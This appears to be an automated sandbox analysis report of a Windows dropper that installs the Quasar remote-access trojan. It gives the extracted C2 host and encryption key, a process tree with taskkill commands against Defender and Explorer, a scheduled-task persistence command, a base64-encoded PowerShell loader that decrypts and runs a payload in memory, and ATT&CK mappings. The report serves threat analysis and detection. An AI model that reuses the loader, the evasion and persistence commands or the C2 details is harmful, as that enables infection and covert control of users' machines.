Overview

overview

10

Static

static

10

lol.exe

windows10-2004-x64

10

Resubmissions

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 20:09

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    lol.exe

  • Size

    13.1MB

  • MD5

    621d4a616715d165ed2c10e48e5fd94b

  • SHA1

    7fabfdb5167e59d0442df460e1b236cb5bc75fbe

  • SHA256

    7975eec3959bed57e86fb6fa917503a7a1242fdf589dde7600783fc37d3dfbde

  • SHA512

    793302845e76e8cc03bd8281abad4db786f361e5c1a691462b40da11e8e7ac6210e0e9c21b41493dedffc6724af146ef70b9f8448d51dc860725364e14cba442

  • SSDEEP

    196608:tbVYKe7PjQhn5EQ9hNQAYzA5k6cTWDn7JKObS09Vp7j1oTeBI7lm:pzuA5EWheYkv8LlCTe2s

Score
10/10
quasarromkadiscoveryevasionexecutionpersistencespywarestealertrojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

romka

C2

jozzu420-51305.portmap.host:51305

Mutex

0445c342-b551-411c-9b80-cd437437f491

Attributes
  • encryption_key

    E1BF1D99459F04CAF668F054744BC2C514B0A3D6

  • install_name

    Romilyaa.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Windows 10 Boot

  • subdirectory

    SubDir

Signatures

  • Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs
    evasion
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
    evasion
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar payload 2 IoCs
  • Windows security bypass 2 TTPs 5 IoCs
    evasiontrojan
  • Disables RegEdit via registry modification 1 IoCs
    evasion
  • .NET Reactor proctector 35 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 12 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Windows security modification 2 TTPs 6 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Modifies WinLogon 2 TTPs 2 IoCs
    persistence
  • AutoIT Executable 10 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 12 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 19 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 3 IoCs
    evasion
  • Enumerates system info in registry 2 TTPs 8 IoCs
  • Kills process with taskkill 4 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 33 IoCs
    adwarespyware
  • Modifies registry class 21 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 45 IoCs
  • Suspicious use of SendNotifyMessage 43 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\lol.exe
    "C:\Users\Admin\AppData\Local\Temp\lol.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4436
    • C:\Users\Admin\Desktop\lol_572e988c-28f2-4d9a-bff8-6c283216a4d3\loader.exe
      "C:\Users\Admin\Desktop\lol_572e988c-28f2-4d9a-bff8-6c283216a4d3\loader.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2444
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\lol_572e988c-28f2-4d9a-bff8-6c283216a4d3\temp.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1496
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /K main.cmd
          4⤵
          • Checks computer location settings
          • Modifies registry class
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1664
          • C:\Windows\system32\taskkill.exe
            taskkill /f /im WindowsDefender.exe
            5⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3548
          • C:\Users\Admin\Desktop\lol_572e988c-28f2-4d9a-bff8-6c283216a4d3\Rover.exe
            Rover.exe
            5⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:2740
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Desktop\lol_572e988c-28f2-4d9a-bff8-6c283216a4d3\web.htm
            5⤵
            • Enumerates system info in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            • Suspicious use of WriteProcessMemory
            PID:1960
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9f69646f8,0x7ff9f6964708,0x7ff9f6964718
              6⤵
                PID:4568
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1460,4811763588429041187,5120449176274386666,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2152 /prefetch:2
                6⤵
                  PID:4028
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1460,4811763588429041187,5120449176274386666,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 /prefetch:3
                  6⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2284
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1460,4811763588429041187,5120449176274386666,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2652 /prefetch:8
                  6⤵
                    PID:432
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1460,4811763588429041187,5120449176274386666,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3204 /prefetch:1
                    6⤵
                      PID:2660
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1460,4811763588429041187,5120449176274386666,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3240 /prefetch:1
                      6⤵
                        PID:3716
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1460,4811763588429041187,5120449176274386666,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4568 /prefetch:1
                        6⤵
                          PID:4392
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1460,4811763588429041187,5120449176274386666,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4592 /prefetch:1
                          6⤵
                            PID:4728
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1460,4811763588429041187,5120449176274386666,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5260 /prefetch:1
                            6⤵
                              PID:5800
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1460,4811763588429041187,5120449176274386666,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5308 /prefetch:1
                              6⤵
                                PID:5984
                              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1460,4811763588429041187,5120449176274386666,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5652 /prefetch:8
                                6⤵
                                  PID:3648
                                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1460,4811763588429041187,5120449176274386666,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5652 /prefetch:8
                                  6⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:5500
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1460,4811763588429041187,5120449176274386666,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1988 /prefetch:2
                                  6⤵
                                    PID:6356
                                • C:\Windows\System32\WScript.exe
                                  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\lol_572e988c-28f2-4d9a-bff8-6c283216a4d3\helper.vbs"
                                  5⤵
                                    PID:2024
                                  • C:\Program Files\Internet Explorer\iexplore.exe
                                    "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\Admin\Desktop\lol_572e988c-28f2-4d9a-bff8-6c283216a4d3\spinner.gif
                                    5⤵
                                    • Checks processor information in registry
                                    • Enumerates system info in registry
                                    • Modifies Internet Explorer settings
                                    • Suspicious use of FindShellTrayWindow
                                    • Suspicious use of SetWindowsHookEx
                                    PID:4928
                                    • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4928 CREDAT:17410 /prefetch:2
                                      6⤵
                                      • Modifies Internet Explorer settings
                                      • Suspicious use of SetWindowsHookEx
                                      PID:4236
                                  • C:\Windows\system32\timeout.exe
                                    timeout /t 15
                                    5⤵
                                    • Delays execution with timeout.exe
                                    PID:4428
                                  • C:\Users\Admin\Desktop\lol_572e988c-28f2-4d9a-bff8-6c283216a4d3\scary.exe
                                    scary.exe
                                    5⤵
                                    • Executes dropped EXE
                                    • Drops file in Program Files directory
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:4200
                                    • C:\Windows\SYSTEM32\schtasks.exe
                                      "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
                                      6⤵
                                      • Creates scheduled task(s)
                                      PID:2108
                                    • C:\Program Files\SubDir\Romilyaa.exe
                                      "C:\Program Files\SubDir\Romilyaa.exe"
                                      6⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      • Suspicious use of FindShellTrayWindow
                                      • Suspicious use of SendNotifyMessage
                                      • Suspicious use of SetWindowsHookEx
                                      PID:5640
                                      • C:\Windows\SYSTEM32\schtasks.exe
                                        "schtasks" /create /tn "Windows 10 Boot" /sc ONLOGON /tr "C:\Program Files\SubDir\Romilyaa.exe" /rl HIGHEST /f
                                        7⤵
                                        • Creates scheduled task(s)
                                        PID:2132
                                  • C:\Users\Admin\Desktop\lol_572e988c-28f2-4d9a-bff8-6c283216a4d3\the.exe
                                    the.exe
                                    5⤵
                                    • Executes dropped EXE
                                    PID:5272
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEQAOAAsACAAMAB4ADIARgAsACAAMAB4ADEARgAsACAAMAB4ADYAQwAsACAAMAB4ADQARQAsACAAMAB4ADgAOAAsACAAMAB4ADQANQAsACAAMAB4AEQARAAsACAAMAB4ADEAQQAsACAAMAB4AEUARAAsACAAMAB4ADUAQwAsACAAMAB4ADQAQgAsACAAMAB4ADQAOQAsACAAMAB4ADQAOQAsACAAMAB4ADAAQwAsACAAMAB4ADMAQgAsACAAMAB4AEYAQQAsACAAMAB4AEEAMQAsACAAMAB4ADIANwAsACAAMAB4ADMARAAsACAAMAB4ADIAQQAsACAAMAB4AEIANQAsACAAMAB4AEMARAAsACAAMAB4ADIANwAsACAAMAB4ADQARAAsACAAMAB4ADAAQQAsACAAMAB4ADUAOQAsACAAMAB4ADUANwAsACAAMAB4AEMAQQAsACAAMAB4ADcAMAAsACAAMAB4AEEAQQAsACAAMAB4AEMAQgApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAxAEMALAAgADAAeABBADMALAAgADAAeAAzADQALAAgADAAeABBADYALAAgADAAeAA4ADQALAAgADAAeABDAEMALAAgADAAeABBAEEALAAgADAAeABEADIALAAgADAAeABCADAALAAgADAAeABFAEUALAAgADAAeABBAEMALAAgADAAeABEADcALAAgADAAeABFAEIALAAgADAAeABGAEUALAAgADAAeAA4AEYALAAgADAAeAA5ADkAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
                                      6⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2800
                                  • C:\Windows\system32\taskkill.exe
                                    taskkill /f /im taskmgr
                                    5⤵
                                    • Kills process with taskkill
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1532
                                  • C:\Windows\system32\taskkill.exe
                                    taskkill /f /im explorer
                                    5⤵
                                    • Kills process with taskkill
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:424
                                  • C:\Users\Admin\Desktop\lol_572e988c-28f2-4d9a-bff8-6c283216a4d3\ac3.exe
                                    ac3.exe
                                    5⤵
                                    • Executes dropped EXE
                                    • Suspicious behavior: GetForegroundWindowSpam
                                    PID:1672
                                  • C:\Windows\system32\taskkill.exe
                                    taskkill /f /im fontdrvhost
                                    5⤵
                                    • Kills process with taskkill
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:5912
                                  • C:\Windows\system32\icacls.exe
                                    icacls c:\Windows\explorer.exe /grant Admin:(F,M)
                                    5⤵
                                    • Modifies file permissions
                                    PID:336
                                  • C:\Windows\system32\timeout.exe
                                    timeout /t 15
                                    5⤵
                                    • Delays execution with timeout.exe
                                    PID:2068
                                  • C:\Users\Admin\Desktop\lol_572e988c-28f2-4d9a-bff8-6c283216a4d3\jaffa.exe
                                    jaffa.exe
                                    5⤵
                                    • Checks computer location settings
                                    • Executes dropped EXE
                                    • Drops file in System32 directory
                                    • Drops file in Windows directory
                                    • Modifies registry class
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of FindShellTrayWindow
                                    • Suspicious use of SendNotifyMessage
                                    PID:4780
                                    • C:\Windows\SysWOW64\xrtlhfmpdy.exe
                                      xrtlhfmpdy.exe
                                      6⤵
                                      • Modifies visibility of file extensions in Explorer
                                      • Modifies visiblity of hidden/system files in Explorer
                                      • Windows security bypass
                                      • Disables RegEdit via registry modification
                                      • Executes dropped EXE
                                      • Windows security modification
                                      • Enumerates connected drives
                                      • Modifies WinLogon
                                      • Drops file in System32 directory
                                      • Modifies registry class
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of FindShellTrayWindow
                                      • Suspicious use of SendNotifyMessage
                                      PID:5460
                                      • C:\Windows\SysWOW64\fqlmsghx.exe
                                        C:\Windows\system32\fqlmsghx.exe
                                        7⤵
                                        • Executes dropped EXE
                                        • Enumerates connected drives
                                        • Drops file in System32 directory
                                        • Drops file in Program Files directory
                                        • Drops file in Windows directory
                                        • Suspicious use of FindShellTrayWindow
                                        • Suspicious use of SendNotifyMessage
                                        PID:5936
                                    • C:\Windows\SysWOW64\dkjmelpcwqstgwc.exe
                                      dkjmelpcwqstgwc.exe
                                      6⤵
                                      • Executes dropped EXE
                                      • Adds Run key to start application
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of FindShellTrayWindow
                                      • Suspicious use of SendNotifyMessage
                                      PID:336
                                    • C:\Windows\SysWOW64\fqlmsghx.exe
                                      fqlmsghx.exe
                                      6⤵
                                      • Executes dropped EXE
                                      • Enumerates connected drives
                                      • Drops file in System32 directory
                                      • Drops file in Program Files directory
                                      • Drops file in Windows directory
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of FindShellTrayWindow
                                      • Suspicious use of SendNotifyMessage
                                      PID:5968
                                    • C:\Windows\SysWOW64\addvjytjpmrfj.exe
                                      addvjytjpmrfj.exe
                                      6⤵
                                      • Executes dropped EXE
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of FindShellTrayWindow
                                      • Suspicious use of SendNotifyMessage
                                      PID:1676
                                    • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
                                      "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Windows\mydoc.rtf" /o ""
                                      6⤵
                                      • Drops file in Windows directory
                                      • Checks processor information in registry
                                      • Enumerates system info in registry
                                      • Suspicious behavior: AddClipboardFormatListener
                                      • Suspicious use of SetWindowsHookEx
                                      PID:5736
                                  • C:\Windows\system32\timeout.exe
                                    timeout /t 15
                                    5⤵
                                    • Delays execution with timeout.exe
                                    PID:620
                          • C:\Windows\System32\CompPkgSrv.exe
                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                            1⤵
                              PID:3620
                            • C:\Windows\System32\CompPkgSrv.exe
                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                              1⤵
                                PID:4156

                              Network

                              MITRE ATT&CK Enterprise v15

                              Reconnaissance

                              Resource Development

                              Initial Access

                              Execution

                              Command and Scripting Interpreter

                              1
                              T1059

                              PowerShell

                              1
                              T1059.001

                              Scheduled Task/Job

                              1
                              T1053

                              Persistence

                              Boot or Logon Autostart Execution

                              2
                              T1547

                              Registry Run Keys / Startup Folder

                              1
                              T1547.001

                              Winlogon Helper DLL

                              1
                              T1547.004

                              Scheduled Task/Job

                              1
                              T1053

                              Privilege Escalation

                              Boot or Logon Autostart Execution

                              2
                              T1547

                              Registry Run Keys / Startup Folder

                              1
                              T1547.001

                              Winlogon Helper DLL

                              1
                              T1547.004

                              Scheduled Task/Job

                              1
                              T1053

                              Defense Evasion

                              File and Directory Permissions Modification

                              1
                              T1222

                              Hide Artifacts

                              2
                              T1564

                              Hidden Files and Directories

                              2
                              T1564.001

                              Impair Defenses

                              2
                              T1562

                              Disable or Modify Tools

                              2
                              T1562.001

                              Modify Registry

                              7
                              T1112

                              Credential Access

                              Unsecured Credentials

                              1
                              T1552

                              Credentials In Files

                              1
                              T1552.001

                              Discovery

                              Peripheral Device Discovery

                              1
                              T1120

                              Query Registry

                              5
                              T1012

                              System Information Discovery

                              5
                              T1082

                              Lateral Movement

                              Collection

                              Data from Local System

                              1
                              T1005

                              Command and Control

                              Exfiltration

                              Impact

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Program Files\Microsoft Office\root\Office16\1033\PROTTPLN.DOC.exe
                                Filesize

                                512KB

                                MD5

                                0761b2e729f3e2fd113041eb42dfb05d

                                SHA1

                                bade88abf76d558b6de6e9a8ba5367aa39462f74

                                SHA256

                                6fd063d5adaf5775061854f4c79818b347b1084e08379c2251690f63671ad321

                                SHA512

                                7284c06d3a31aa32d769aa7e2e5061fa32ff64ea26210632192844c7102ff0a6cb98d172a40275ddd99c7923ea2b3dc587902a91a2ad4906dc66bf267ce1fa6c

                                Download Submit

                              • C:\Program Files\Microsoft Office\root\Office16\1033\PROTTPLV.DOC.exe
                                Filesize

                                512KB

                                MD5

                                df5d7e5337dad9662b42916518ab3d09

                                SHA1

                                33319256ae496f7da8e8a24da32ee77fe74ff6ae

                                SHA256

                                5c4c70fca2cf36e8c4d0a8557b42a7db57fb37e4476827cd5f9ddf3a56596ec9

                                SHA512

